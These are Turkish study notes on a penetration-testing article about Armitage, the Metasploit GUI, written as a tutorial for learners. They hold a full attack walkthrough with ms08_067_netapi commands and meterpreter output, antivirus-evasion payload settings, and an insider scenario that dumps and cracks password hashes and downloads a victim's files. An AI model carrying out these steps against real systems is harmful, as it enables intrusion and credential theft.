ÖN BİLGİ

Bu belge

• https://www.bgasecurity.com/makale/sizma-testlerinde-armitage-kullanimi/

resmi adresindeki veya linkin kırık olması ihtimaline karşın alternatif olarak

 https://www.includekarabuk.com/kitaplik/indirmeDeposu/ Siber_Guvenlik_Teknik_Makaleler/Teori/BaskalarinaAitMakaleler/S%C4%B1zma %20Testlerinde%20Armitage%20Kullan%C4%B1m%C4%B1.pdf

adresindeki makaleye çalışılarak elde edilen notlarımı kapsamaktadır. Bu çıkarılan notlar belgemde alıntılar ve/veya kişisel ilavelerim mevcuttur.

1)

Armitage metasploit yazılımının yapabileceklerini görsel olarak kontrol edebilme imkanı sağlayan bir yazılımdır.

(Page 3)

2)

Post Exploit

Bir bilgisayara sızıldıktan sonra hedef sistemde başka exploitation'larda bulunmaya post-exploit adı verilir. Örneğin hedef sisteme sızıp sonra hak yükseltmek için hedef sistemde başka bir exploit çalıştırmaya veyahut hedef sisteme sızıp hashdump exploit'i ile hedef sistemin credentials'larını çekmeye post-exploit adı verilir.

(Page 3)

3)

Armitage yazılımı kodlamalara yabancı olanlar için ve pentest çalışmalarına yeni başlayanlar için tavsiye edilen bir yazılımdır. Açık kaynak kodlu bir yazılımdır. Açık kaynak yazılımların üzerinde yapılan değişiklikler sonucu ücretli hale getirilen bir çok yazılım gibi Armitage yazılımının da ücretli hali olan Cobalt Strike bulunmaktadır.

(Page 3)

4)

Kali'de Armitage Kullanımı

- > service postgresql start
- > service metasploit start
- > armitage

root@ka	li:~ # ar	mitage			
		Connect	-	×	
	Host	127.0.0.1			
	Port	55553			
	User	msf			Th
	Pass	***			
		Connect Help)		

Açılan popup'daki Connect düğmesine ardından Yes düğmesine basılmasıyla armitage başlatılır.



(Page 6-9)

5)

Modüller Kısmı

Exploit'lerin, payload'ların, auxiliary'lerin sıralandığı kısımdır.

Hedefler Kısmı

Bu panel çeşitli tarama teknikleri ile ya da manuel olarak seçilen hedefleri listeler.

Tablar (Sekmeler) Bölümü

Armitage programı hedeflerle ilgili tüm işlemleri ayrı ayrı sekmeler halinde tutar. Yani örneğin hedef sistemlerde açılan reverse shell oturumları için, sistemleri elde etmede kullanılan modüller için ve bunun gibi her bir eylem için ayrı bir sekme yer alır.

(Page 9-10)

6)

Logging İşlemleri

Armitage ile yapılan testler esnasında yapılan tüm işlemlerin bir kaydının tutulması mühimdir. Armitage herbir ip adresi için bir klasör oluşturarak ilgili kayıtları bu klasör içerisindeki log uzantılı dosyalarda tutar. Bu kayıtlara ulaşmak için Armitage arayüzündeki View->Reporting->Activity Logs menülerine tıklanılması gerekir. Aşağıda örnek bir log dosyası görmektesiniz.



Yukarıda /home/armitage/140609/localhost/192.168.20.170 dizinindeki exploit.log dosyasının içeriğini görmektesiniz. Bu dosyanın içeriğinde görebileceğiniz üzere Metasploit Framework konsoluna girilen kodlamaların dökümü ve çıktıları yer almaktadır.

(Page 10-11)

7)

Hedef Tayin Etme Armitage çalışma alanına hedef eklenmek istendiğinde bu işlem iki şekilde gerçekleştirilebilir:

i) Birinci yöntem

Hosts -> Import Hosts

seçeneklerine gidilmesi ve host IP'lerinin satır satır sıralı olduğu dosyanın seçilmesidir.



	Open	×
Look In: 📋 roo	ot 🔽 🕋	
📄 Desktop 📄 Ayaktakiler 📄 Ayaktakiler. 📄 Ayaktakiler. 📄 Ayaktakiler.	gnmap nmap xml	
File Name:		
Files of Type:	All Files	
		Open Cancel

ii) İkinci yöntem

Hosts -> Add Hosts

seçeneklerine gidilmesi ve hedef IP'lerin satır satır elle girilmesidir.



Add Hosts	×
Enter one host/line:	
192.168.20.170	
Add	

Armitage ile Saldırma Adımları

Host'lar Armitage çalışma alanına eklenildikten sonra hedefin ikonunun üzerine sağ tıklayıp Scan diyerek hedef işletim sistemi ve versiyonunu öğrenelim.



Hedefin işletim sistemi ve versiyonu tespit edildikten sonra ilgili açıklıkları bulmak için

Attacks -> FindAttacks

sekmesine tıklayalım.



Ardından ilgili açıklıkları görüntüleyebilmek için hedefin ekrandaki simgesine sağ tıklayıp Attack seçeneğine tıklayalım.

<u>A</u> rmitage ⊻iew <u>H</u> os	ts <u>A</u> ttacks <u>W</u> orks	paces <u>H</u> elp				
 ▶ auxiliary ▶ exploit ▶ payload ▶ post 		<u>A</u> ttack Login Service S <u>c</u> an <u>H</u> ost	es	dcerpc http iis mssql mysql novell oracle proxy	* * * * * * *	
				samba		
				smb wyse	•	ms08_067_netapi ms10_061_spoolss netidentity_xtierrpcpipe
* *						timbuktu_plughntcommand_bof
Console X Work	spaces X Works	spaces X Sc	an X (heck Exploits	x	pass the hash
msf auxiliary(my	sql_version) >	set RHOSTS	192,168	3.20.170		<u>c</u> heck exploits

Önerilen açıklıklardan bir tanesi tıklanarak kullanılmaya başlanabilir. Öncelikle başarısız bir exploit çıktısını görmek için başarısız olunacak bir exploit'i seçelim.

<u>A</u> rmitage ⊻iew <u>H</u> osts <u>A</u> tt	tacks <u>W</u> orkspaces	: <u>H</u> elp		
 auxiliary exploit navioad 				
▶ È post	192.168.2	<u>A</u> ttack ► Login ► Ser <u>v</u> ices	dcerpc 🕨 http 🕨	
	0	S <u>c</u> an <u>H</u> ost ►	mssql mysql novell oracle	ms09_004_sp_replwritetovarbin_sqli mssql_payload_sqli
			proxy realserver samba smb wyse	

Attack 192.168.20.170	×
Microsoft SQL Server Payload Execution via SQL Injection	
This module will execute an arbitrary payload on a Microsoft SQL Server, using a SQL injection vulnerability. Once a vulnerability is identified this module will use xp_cmdshell to upload and execute Metasploit payloads. It is necessary to specify the exact point where the SQL injection vulnerability happens. For example, given the following injection: http://www.example.com/show.asprid=1;exec xp_cmdshell 'dir';&cat=electrical you would need to set the following path: set GET_PATH /showproduct.asp?id=1;[SQLi];&cat=foobar In regard to the payload, unless there is a closed port in the web server, you dont want to use any "bind" payload, specially on port 80, as you will stop reaching the vulnerable web server you dont want to use any "bind" payload, probably to your port 80 or to any other outbound port allowed on the firewall. For privileged ports execute Metasploit msfconsole as root. Currently, three delivery methods are supported. First, the original method uses Windows 'debug.com'. File size restrictions are avoidied by incorporating the debug bypass method presented by SecureStat at Defcon 17. Since this method invokes ntvdm, it is not available on x86_64 systems. A second method takes advantage of the Command Stager subsystem. This allows using various techniques, such as using a TFTP server, to send the executable. By default the Command Stager uses 'wcsript.exe' to generate the	
Option 🔺 Value	
COOKIE	
DATA DELIVERY Acıklığın Parametreleri)
EXE::Custom +	
GET_PATH /	-
LHOST 192.168.20.197 Targets: 0 => Automatic Address (for connect backs)	
Use a reverse connection	
Show advanced options Açıklığı kullanmak için detaylı seçenekler	

Açıklığın parametrelerini doldurduğumuzu varsayalım ve Launch ile exploit işlemini tetikleyelim. Daha önceden de belirtildiği gibi her exploit teşebbüsü için yeni bir tab (sekme) açılır ve hedef ile iletişim bu tab'ın konsolu üzerinden devam eder.

Console X exploit X
COUNTE
<u>msf</u> exploit(<u>mssql_payload_sqli</u>) > set DELIVERY OLD
DELIVERY => OLD
<u>msf</u> exploit(mssql_payload_sqli) > exploit -j
[*] Exploit running as background job.
[*] Started bind handler
[*] Warning: This module will leave eexZRlEb.exe in the SQL Server %TEMP% directory
[*] Writing the debug.com loader to the disk
[-] Exploit failed [no-target]: The SQL injection parameter was not specified in the GET path
<pre>msf exploit(mssql_payload_sqli) ></pre>

Tab'ın sunduğu konsol ekranından da görülebileceği gibi exploit girişimi başarısız olmuştur. Şimdi işe yarayacak bir exploit seçelim.

<u>A</u> rmage ⊻iew <u>H</u> osts <u>A</u> tta	acks <u>W</u> orkspace	es <u>H</u> elp			
 ▶ 💼 auxiliary ▶ 💼 exploit ▶ 💼 payload ▶ 💼 post 	192, 16	<u>A</u> ttack Login Ser <u>v</u> ices S <u>c</u> an <u>H</u> ost	dcerpc http iis mssql mysql novell oracle proxy realserver samba	* * * * * * * *	
			smb wyse		ms08_067_netapi
			,		ms10_061_spoolss netidentity xtierrpcpipe
					timbuktu_plughntcommand_bof pass the hash
Console X exploit X					<u>c</u> heck exploits

	Attack 192.168.20.170	×
Microsoft Server	Service Relative Path Stack Corruption	
This module exp through the Ser svstems and se	loits a parsing flaw in the path canonicalization code of NetAPI32.dll ver Service. This module is capable of bypassing NX on some operating rvice packs. The correct target must be used to prevent the Server	4 () •
Option	▲ Value	
LHOST	192.168.20.197	
LPORT	20522	
RHOST +	192.168.20.170	
RPORT	445	
SMBPIPE	BROWSER	
Targets: 0 =>	Automatic Targeting	
Show advan	ced options	
	Launch	

Açıklıkların parametrelerine dikkat edilmelidir. Resimde görüldüğü üzere bazı değerlerin yanında + işareti var, bunun manası o değerin boş olamayacağıdır. Launch'a basıldığı takdirde ilgili TAB'a aşağıdakiler yansıyacaktır:

```
exploit
<u>msf</u> > use exploit/windows/smb/ms08_067_netapi
<u>msf</u> exploit(ms08_067_netapi) > set LHOST 192.168.20.197
LHOST => 192.168.20.197
<u>msf</u>exploit(ms08 067 netapi) > set RPORT 445
RPORT => 445
<u>msf</u>exploit(ms08_067_netapi) > set LPORT 20522
LPORT => 20522
<u>msf</u>exploit(ms08_067_net
RHOST => 192.168.20.170
                   8_067_netapi) > set RH0ST 192.168.20.170
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(ms08_067_netapi) > set SMBPIPE BROWSER
SMBPIPE => BROWSER
<u>msf</u>exploit(ms08_067_netapi) > set TARGET 0
TARGET => 0
msf exploit(ms08_067_netapi) > exploit -j
[*] Exploit running as background job.
[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 0 / 1 - lang:English
[*] Selected Target: Windows XP SP0/SP1 Universal
[*] Attempting to trigger the vulnerability...
[*] Sending stage (769024 bytes) to 192.168.20.170
[*] Meterpreter session 4 opened (192.168.20.197:50341 -> 192.168.20.170:20522) at 2014-06-09 11:12
neterpreter >
```

Böylece hedef sistemde meterpreter oturumu açılmış olacaktır.

(Page 15-22)

9)

Her hedef kolayca ve uzaktan sömürülecek kadar zafiyet içermeyebilir. Yayımlanan güncellemeleri zamanında uygulayan bir hedef artık kolay bir hedef değildir. Antivirüs programı kullanan bir hedef kolay bir hedef değildir. Güncellemeleri takip eden ve güvenlik önlemleri alan bir hedefe sızmak başka teknikler gerektirir. Bu tekniklerden bir tanesi Payload (hedef ile saldırgan arasında bir iletişim kanalı istediğinde bulunacak ve bu trafiği yönetecek olan programcık) oluşturmak gerekir. Hedef, bir şekilde oluşturulan programı çalıştırır ise saldırgan ile direk olarak temasa geçer.

Hedefle saldırgan arasında iletişim kurması amacı ile birçok dosya tipi oluşturulabilir. Bunlardan bazıları;

- Exe uzantılı programcıklar
- Word dosyaları
- Excel dosyaları
- PDF dosyaları
- HTML sayfaları...

Görüldüğü gibi saldırı amaçlı kullanılabilecek birçok dosya türü mevcut. Bu dosya türlerini kullanarak payload oluşturulabilir. Metasploit programının zengin bir payload kütüphanesi bulunmakta. Armitage Metasploit programının görsel hali olduğu için aynı kütüphaneye görsel bir şekilde ulaşılabilir. Armitage içerisinde bulunan payload kategorileri şunlardır:



Görüldüğü gibi birçok platform için hazırlanmış payload bulunmaktadır. Windows klasörünü genişletelim ve çeşitleri görelim.



Resimde sıralı payload'lardan meterpreter'e odaklanalım:



Meterpreter çeşitleri arasında "reverse_tcp", "reverse_http" ve "reverse_https" en popüler olanlarıdır. Bu belgede reverse_tcp ele alınacaktır. reverse_tcp yi seçelim. Bu takdirde ekrana aşağıdaki pencere yansır:

windows/meterpreter/reverse_tcp								
Windows Meterpreter (Reflective Injection), Reverse TCP Stager								
Connect back to the attacker, Inject the meterpreter server DLL via the Reflective DII Injection payload (staged)								
▲ ▼								
Option 🔺	Value							
Encoder	x86/shikata_ga_nai							
EXITFUNC	process							
Iterations	3							
KeepTemplateWorking								
LHOST	192.168.20.197							
LPORT	29014							
Template 🕇								
Output: multi/handler 💌								
Show advanced options								
Lau	unch							

Ekranda gözüken parametreler ve anlamları şunlardır:

Encoder

Derlenecek olan programın derlenme şeklini belirler.

LHOST

Payload çalıştırıldığında kurban uzak bir sisteme bağlantı açmak isteyecektir. LHOST kurbanın bağlanacağı adrestir. Yani saldırganın adresidir.

LPORT

Bu değer kurbanın saldırgana hangi port üzerinden bağlanacağını belirler. Yani kurbanın bilgisayarındaki çıkış portunu değil, saldırganın makinasına giriş portunu belirler.

Output

Payload çıktısının ismini belirlemek için kullanılır.

Template

Anti virüs programlarını atlatmak için kullanılan bir opsiyondur.

Oluşturulan zararlı belge (payload) kurbana gönderildikten sonra kurbandan gelecek isteğin ıskalanmadan değerlendirilebilmesi için payload handler kullanmak gerekir. Bu modulü kullanmak için Armitage -> Listeners -> Reverse (wait for) seçeneklerine tıklanmalı,

<u>A</u> rmitage <u>V</u> iew <u>H</u> ost	s <u>A</u> t	tacks <u>W</u> or	kspa	ces <u>H</u> e	elp		
New Connection					_		
<u>P</u> references <u>S</u> et Target View S <u>e</u> t Exploit Rank	* *	p	;	101			
SOCKS P <u>r</u> oxy				192.	168.20	. 170	
<u>L</u> isteners	•	Bind (co	nnect	tto)	100120	170	
<u>S</u> cripts		<u>R</u> everse (wait for)					
<u>C</u> lose		s_proxy					

ekrana gelecek olan popup penceresindeki dinlenilecek port numarasına gönderilen payload'un geleceği port numarası yazılmalıdır. Tip olarak da dinlenilecek payload'un tipi seçilir.

<u>A</u> rmitage ⊻iew <u>H</u> osts <u>A</u> ttacks <u>W</u>	orksp	a	ces <u>H</u> elp)
▼ 📄 meterpreter	4		c	reate Listener 🛛 🗙
bind_ipv6_tcp		٩		
bind_nonx_tcp			Port:	23906
bind_tcp				
📄 bind_tcp_rc4			Type:	shell 🔽
📄 find_tag				shell
📄 reverse_http				Start Li meterpreter
reverse_https				
reverse https proxy				

(Page 22-27)

10)

Post Exploitation

Varsayalım ki hedef sisteme bir exploit ile giriş yapılabildi. Bu işlemden sonra yapılabilecek şeyler şunlardır:

Hak Yükseltme

Neyin açıklığı kullanılarak sisteme sızılmış ise o servisin ya da o kullanıcının hakları kadar şey uzak sistemde yapılabilir. Hedef işletim sistemindeki veri yazma ya da veri okuma katmanına gelindiğinde kullandığımız servis ya da kullanıcının yetkisine dair bir token istenir. Bu token ötelere gidebilmek için bir tür vize gibidir. Başkasının pasaportunu kullanarak vize kontrolünden geçmeye ise hak yükseltme denir.

Dosya Görüntüleme

Hedefi temsilen gösterilen arayüzdeki monitöre sağ tıklanır ve Meterpreter N -> Explore -> Browse Files sekmelerine tıklanır. Yetki ölçüsünde dosyalar görüntülenebilecektir.

Screenshot ve Webcam Görüntüsü Alma

Hedefi temsilen gösterilen arayüzdeki monitöre sağ tıklanır ve Meterpreter N -> Explore -> Screenshot sekmeleriyle ekran görüntüsü Meterpreter N -> Explore -> Webcam Shot ile webcam'den görüntü alınabilir.

Komut Satırını Çekme

Hedefi temsilen gösterilen arayüzdeki monitöre sağ tıklanır ve Meterpreter -> Interact -> Command Shell sekmeleri tıklanarak hedef sistemin komut satırını komut satırımıza getirebiliriz.

(Page 27-28)

11)

Post Exploitation Modülleri

Armitage sisteme sızıldıktan sonra neler yapılabileceği konusunda seçenekler sunmaktadır. Bu ilgili seçenekler aşağıdaki resmin solunda yer alan post klasörü altında sunulmuştur:



Bu seçeneklerin (modüllerin) kullanımı offensive security'nin sitesinden veyahut forumlardan öğrenilebilir.

(Page 28)

12)

Armitage aracı böylelikle tanıtılmış oldu. Şimdi senaryolar ile armitage yazılımı aktif olarak nasıl kullanılabilir, nasıl sistemelere sızılabilir ve en önemlisi Post Exploitation olarak neler yapılabilir bunlar incelenecektir.

(Page 29)

13)

BGA Veritabanı Erişim Bilgilerinin Elde Edilmesi Senaryosu

Senaryoyu açıklamadan önce senaryonun uygulanacağı hedef ağ topolojisini bir inceleyelim.



Bilgi İşlem personeli Mehmet şirketinde yapacağı denetlemeleri şirketin ağına uygulamadan önce test maksadıyla bir köşede duran kırmızı renkli makinaya uygulayacaktır. Mehmetin bu test makinası şirkette aktif iş yapan makinalardan biri olmadığı için güncellemelerden yoksundur. Varsayalım ki Mehmet bu test edilecek makinada kendi makinasındaki oturum bilgilerini kullanmaktadır. Şirketin veritabanı yöneticisi Fatma ise veritabanı giriş bilgilerini masaüstünde tutuyor olsun. Bu iki şahıs dışında bir de bizi temsil edecek kötü niyetli bir personelin bu ağ topolojisine sahip şirkette işe alındığını varsayalım. Bu senaryoya göre kötü niyetli işe yeni alınmış personel olarak amacımız veritabanında bulunan verilere erişmektir. Bunun için veritabanının erişim bilgilerine erişmemiz gerekmektedir. Dolayısıyla izlenecek adımlar şunlardan oluşur:

- 1. Ağ taranacak ve hangi cihazların ayakta olduğu ve hangi işletim sistemlerinin kullanıldığı tespit edilecek.
- 2. Tespit edilen işletim sistemlerinin bildirilmiş mevcut açıklıkları olabilir. Bu açıklıklar varsa denenecektir.
- 3. Bilgisayara bu bilinen açıklıklardan sızıldığı takdirde hedef makinanının kullanıcılarına ait hesap özetleri (hash'ler) alınacaktır.
- 4. Alınan hash'ler ile diğer sistemlere login olunmaya çalışılacaktır.
- 5. Başarılı girişler sonucu oturum yapılan makinelerden bilgi toplanmaya çalışılacaktır.

Senaryonun Uygulanması

a)

Şirkette kötü niyetli bir personel olarak işe başlanır. Verilen bilgisayarda Kali Linux USB'den başlatılır ve gerekli servisler aşağıdaki gibi başlatılır:

- > service postgresql start
- > service metasploit start
- > armitage

b)

Ardından verilen bilgisayarın hangi ağda olduğu tespiti yapılmalıdır. Bu işlem IP adrese bakarak gerçekleştirilebilir:

> ifconfig



IP'miz 192.168.20.188'miş. Subnet Mask değeri 255.255.255.0 olduğuna göre ait olduğumuz network address'imiz 192.168.20.0 olmalıdır. Mask'ta 24 tane 1 olduğuna göre bu durumda

192.168.20.0/24

şeklinde ifade elde edilir. Bu ifade Armitage'dan ayaktaki sistemleri tespit etmek maksadıyla kullanılacaktır.

c)

Armitage arayüzünden faydalanarak ağda hangi IP'lerin ayakta olduğunu ve hangi işletim sistemlerini çalıştırdığını tespit edelim:



Quick Scan (OS detect) seçildiğinde, ekrana gelecek olan pencereye taranmak istenilen ağ adresi girilir.



Böylece bulunduğumuz ağdaki tüm olası IP adresleri taranacaktır ve yanıt dönen makinaların ayakta olduğu tespit edilir Armitage ekranına monitor simgesi şeklinde yansıyacaktır.

		Armitage
<u>A</u> rmitage ⊻iew <u>H</u> osts <u>A</u> tt	acks <u>W</u> orkspaces <u>H</u> elp	
 ▶ auxiliary ▶ auxiliary ▶ avploit ▶ avpload ▶ avpload ▶ avpload 		

Tarama sonucu elde edilen hedefler yukarıdaki gibi üst üste binmiş şekilde ekrana yansırsa siyah ekrana sağ tıklayıp Layout -> Stack seçeneği tıklanmalıdır.

		Armitage			
<u>A</u> rmitage <u>V</u> iew <u>H</u> osts <u>A</u> ttac	ks <u>W</u> orkspaces <u>H</u> elp				
 auxiliary exploit payload post 	TRUSSATE THREE ACTION				
		<u>A</u> uto-Layout	•		
		<u>L</u> ayout		Circle	
		<u>Z</u> oom	•	_ <u>H</u> ierarchy	
**			[<u>S</u> tack	
r . Y)					



Böylece tarama sonucu ayakta olduğu tespit edilen sistemler ekrana sıralı bir şekilde yerleşmiş olur.

d)

Monitör simgelerin üzerlerine gelinerek hedeflerin işletim sistemlerini belirten bildirim yazıları görüntülenir ve eski bir işletim sistemi aranır. Mesela XP.



e)

Seçilen XP sisteminin IP değeri ekrandaki fare imlecini monitör üzerinden çekerek öğrenilebilir: 192.168.20.172 . Şimdi bu hedefin monitörüne bir kez tıklayalım ve Armitage menüsünden

Attacks->Find Attacks

seçeneklerine sırasıyla tıklayalım.



Armitage seçtiğimiz hedefin işletim sistemi ve Service Pack değerini göz önüne alarak bir takım exploitler önerecektir. Bu arama işlemi devam ederken aşağıdaki gibi bir pencere görüntülencektir.



f)

Tarama bittikten sonra hedefin monitör simgesine sağ tıklayıp Attack seçeneğinde bizim hedefe uygun sunulmuş exploit'ler arasından dilediğimizi seçebiliriz. Diyelim ki ms08_067_netapi exploit'ini seçtik.



Exploit seçildikten sonra ekrana parametreler ve değerlerini gösteren pencere yansır.

Attack 192.1	68.20.170 ×				
Microsoft Server Service Relative Path Stack (Corruption				
This module exploits a parsing flaw in the path canonicalization code of NetAPI32.dll through the Server Service. This module is capable of bypassing NX on some operating systems and service packs. The correct target must be used to prevent the Server					
Option 🔺	Value				
LHOST	192.168.20.188				
LPORT	14605				
RHOST +	192.168.20.170				
RPORT	445				
SMBPIPE	BROWSER				
Targets: 0 => Automatic Targeting					
Show advanced options					
Lau	unch				

Bu

exploit için bir ayarlamaya lüzum yoktur. Ama her exploit için aynı şey geçerli değildir. Bazen dinleme portunun, bazen kullanılan payload'ın değiştirilmesi icab edebilir. Şimdi pencereyi olduğu gibi bırakalım ve Launch düğmesine tıklayarak exploit'i çalıştıralım. Çalışma sonrası eğer exploit başarılı olursa hedefin monitörünün ekranını kaplayan eller aşağıdaki gibi görülecektir.



g)

Artık hedefe ms08_067_netapi exploit'i ile sızılmış ve parametrelerde belirtilen meterpreter payload'u ile oturum açılmış vaziyettedir. Bu oturumu Armitage'ın altındaki konsol tab'ının arayüzünde de görebiliriz.

meterpreter >

Arayüzden meterpreter komutları girebilmek için ayrıyetten bir meterpreter tab'ına ihtiyaç vardır. Bu nedenle sızılan sistemin monitörüne sağ tıklayıp Meterpreter 1 -> Interact -> Meterpreter Shell seçeneklerine sırasıyla tıklanılmalıdır. Böylece aşağıdaki gibi Meterpreter 1 tab'ı açılır.



idletime komutu hedef sistemin ne kadar süredir boşta beklediğini gösterir. Komutun çıktısına göre yaklaşık 3 saattir hedef, makinasını kullanmıyor ve öylece açık bırakmış vaziyette. Şimdi kötü niyetli personel olarak işe koyulalım ve hedef sistemin kullanıcılarının hesap bilgilerini çekelim. Bunun için hedef monitöre sağ tıklayıp Meterpreter 1 -> Access -> Dump Hashes -> Isass method seçeneklerine sırasıyla tıklayalım.

	<u>A</u> ttack Login	* *		
192.168.20.116 19 NT AUTHORITY	<u>M</u> igrate Now! <u>E</u> scalate Privileges <u>S</u> teal Token		<u>A</u> ccess Interact Explore	
	<u>D</u> ump Hashes <u>P</u> ersist Pa <u>s</u> s Session		<u>l</u> sass method <u>r</u> egistry method <u>w</u> digest	

Tıklamalar sonucu Meterpreter 1 tab ekranına kullanıcı adları ve şifreler (hash'ler) yansır:

Cor	nsole >	nmap	X	exploit	Х	Meterpreter 1	Х	Meterpreter 1	Х	
ete	rprete	<u>r</u> > hash	ıdum	р						
*]	Dumpin	g passw	/ord	hashes						
+]	A	dminist	rat	or:500:	f20	6fb3ae03e93al	98	1fe6d90b93317	cb:	e55167dc8dbffb096dd3208a86507902;;;
+1	h	ga : 1003	<u>}:</u> 35	achch84	lffa	rf566aad3h43ª	h5	1404ee:53f9h9	hh?	89ccc75518h3a7e3h3759h6f;;;;
+]	b	gaDeste	k:1	.006:f26	ôfb3	3ae03e93ab9c8	16	67e9d738c5d9:	b3€	;7819c0a8ccd792cad1d034f56a1fa:::
+]	G	uest:50)1:a	ad3b435	bb5	1404eeaad3b43	5b.	51404ee:31d6c	tee	0d16ae931b/3c59d/e0c089c0;;;
+]	H	lelpAssi	.sta	nt:1000	9:25	5bbe078edf6da	62	4e14527f17d28	dda	:c593d2d7e7e45de0bd203870165b621f:::
+]	ι	ocaladn.	uin:	1004:92	2198	88ba001dc8e14	a3	b108f3fa6cb6d	:de	26cce0356891a4a020e7c4957afc72::::
+]	m	esut:10)05:	ccf915	in3e	e7db453aad3b4	35	b51404ee:3dbd	e69)7d71690a769204beb12283678:::
+]	S	UPPORT_	388	945a0:	1002	2:aad3b435b51	40	4eeaad3b435b5	140)4ee:3409cf89116d9e8a64047cb8621c875e:::

Yukarıdaki resimde kırmızı çerçeve içerisine alınan kullanıcı bilgileri daha kurumsal göründüğünden ona odaklanmayı seçebiliriz.

Şimdi sızılan bilgisayarın dosya ve klasörlerini meterpreter payload'u ile görelim. Bunun için hedef sistemi temsil eden monitöre sağ tık yapıp Meterpreter 1 -> Explore -> Browse Files seçeneklerine tıklayalım.

192, 168, 20, 152	192.168.20.204	192.168.20.117	192. 168. 20. 116 NT AUTHO	192.1€ 197.1€ RITY\SYS S L	ttack ogin leterpreter 1 Proves Files Show Processes Log Keystrokes Screenshot Webcam Shot	Access Interact Explore Pivoting ARP Scan	
C:\WINDOWS\system32					Post <u>M</u> odules		
D 🔺 Name	Size	Modifie	d		Mode		
1025	·	2014-0	5-29 09:47:21 -0400		40777/rwxrwxrwx		
1028		2014-0	5-29 09:47:21 -0400		40777/rwxrwxrwx		
1031		2014-0	5-29 09:47:21 -0400		40777/rwxrwxrwx		
1 Cm 1000		2014.0	E 20 00.47.26 0400		10777/540/540/540/		

Yukarıdaki resmin altında görebileceğiniz gibi Files 1 adlı bir tab açılmıştır. Bu tab'ın içeriğinde hedef sistemin dizinleri listelenmiştir. Dizinlerin hemen üstünde ise bulunulan dizini ifade eden

C:\Windows\system32

ibaresi vardır. Şimdi hedef sistemin masaüstü dizinine geçiş yapalım. Çünkü kritik bilgiler genellikle ulaşımı kolay olsun diye masaüstüne konuyor. Bu nedenle

C:\Documents and Settings\bga\Desktop

path'ini aşağıda kırmızı ile vurgulanmış kutucuğa girelim.

	•				
Cor	nsole X nmap X exploit X Meterprete	r 1 X Meterpreter 1 X Files 1 X			
	C:\				
D 🔺	Name	Size	Modified		Mode
	1025		2014-05-29 0	9:47:21 -0400	40777/rwxrwxrwx
	1028		2014-05-29 0	9:47:21 -0400	40777/rwxrwxrwx
	1031		2014-05-29 0	9:47:21 -0400	40777/rwxrwxrwx
	1033		2014-05-29 0	9:47:36 -0400	40777/rwxrwxrwx
	1037		2014-05-29 0	9:47:21 -0400	40777/rwxrwxrwx

Yeni listelenen dosyalardan birine sağ tıklayıp Download diyerek uzak sistemdeki dosyayı Meterpreter aracılığıyla indirmiş oluruz.

Cor	Console X nmap X exploit X Meterpreter 1 X Meterpreter 1 X Files 1 X							
	C:\Documents and Settings\bga\Desktop							
D 🔺	Name	Size		Modified	Mode			
	wordpress-3[1].6			2014-06-06 05:17:46 -0400	40777/rwxrwxrwx			
	zingiri			2014-06-06 07:18:01 -0400	40777/rwxrwxrwx			
	Bu bilgisayar bos.txt	1.05		2014-06-10 13:23:01 -0400	100666/rw-rw-rw-			
	Command Prompt.Ink	View		2014-05-29 10:25:50 -0400	100666/rw-rw-rw-			
	New Text Document.txt	<u>D</u> ownload		2014-06-10 07:45:41 -0400	100666/rw-rw-rw-			
	Shortcut to Local Area Connection.lnk	<u>E</u> xecute		2014-06-01 04:32:37 -0400	100666/rw-rw-rw-			
	XAMPP Control Panel.Ink	Timestomp	•	2014-06-02 03:10:51 -0400	100666/rw-rw-rw-			
		Delete	d Make Directory	List Drives Refresh				

Bu şekilde uzak sistemden bilgisayarımıza inen dosyalara ulaşmak için View -> Downloads sekmesine gidilebilir.

<u>A</u> rmitage	<u>V</u> iew <u>H</u> osts <u>A</u> ttacks <u>W</u> o	rkspaces <u>H</u> elp	
🕨 📄 auxili	<u>C</u> onsole		
🕨 🚞 explo	C <u>r</u> edentials		
🕨 🚞 paylo	<u>D</u> ownloads		
🕨 🚞 post	lobs		
	Loot		
	<u>S</u> cript Console		
	Reporting	168.20.152 192.168.2	20.204
Console X nmap X exploi	t X Meterpreter 1 X Meter	oreter 1 X Files 1 X Downloads	x
host	🔺 name	path	size
192.168.20.170	Bu bilgisayar bos.txt	C:/Documents and Settings/	bga/ 13b

Listelenen inmiş dosyalardan birine çift tıklayarak içeriğini Armitage'da açılan yeni bir tab içerisinde aşağıdaki gibi okuyabiliriz.



h)

Maalesef sızdığımız hedef sistemden kullanıcı hesap özetleri dışında değerli bir bilgi alamadık.

Elde ettiğimiz bu özetleri kıracak olursak Armitage menüsünden View -> Credentials seçeneklerine geçeriz ve alt tarafta belirecek Credentials tab'ındaki gereksiz account satırlarını DELETE tuşu ile sileriz. Böylece Crack Passwords butonuna basarak tab ekranında bıraktığımız satırlardaki hash'leri kırma sürecini başlatabiliriz.

smilh		
Console X nmap X exploit X Meterpreter 1 X 1	Meterpreter 1 X Credentials X	
user	▲ pass	host
bga	35acbcb84ffcf566aad3b435b51404ee:53f9b9bb39ccc75	192.168.20.170
bgaDestek	f26fb3ae03e93ab9c81667e9d738c5d9:b367819c0a8ccd	192.168.20.170
	Refresh Crack Passwords Export	

Crack Password butonuna basıldıktan sonra ilgili auxiliary'nin (JTR'nin) parametreleri ekrana yansıyacaktır.

Crack Passwords ×					
John the Ripper Password Cra	cker (Fast Mode)				
This module uses John the Ripper to identify weak passwords that have been acquired as hashed files (loot) or raw LANMAN/NTLM hashes (hashdump). The goal of this module is to find trivial passwords in a short amount of time. To crack complex passwords or use large wordlists, John the Ripper should be used outside of Metasploit. This initial version just handles LM/NTLM credentials from hashdump and uses the standard wordlist and rules.					
* *					
Option	▲ Value				
JOHN_BASE					
JOHN_PATH					
Munge	0				
Wordlist 🕂					
Show advanced options					
	Launch				

Görüldüğü üzere Wordlist mandatory olarak verilmiş. Dolayısıyla Wordlist + ifadesine çift tıklanır. Bir wordlist seçilir.

		Select Wo	ordlist		×
Look In: 📋 d	ata	•			
📄 android		葿 php		📄 mime.yml	
📄 cpuinfo		葿 post		📄 vncdll.x64.dll	
📄 exploits		盲 ropdb		📄 vncdll.x86.dll	
📄 ipwn		盲 snmp			
📄 java		📄 sounds			
📄 john		葿 templates			
📄 js		葿 wmap			
📄 lab		葿 wordlists			
📄 💼 meterprete	er	📄 eicar.com			
📄 💼 msfcrawler		📄 eicar.txt			
📄 💼 msfpescar	n	📄 emailer_co	nfig.yaml		
📄 passivex		📄 isight.bund	lle		
File Name:					
Files of Type:	All Files				•
				<u>O</u> pen	Cancel

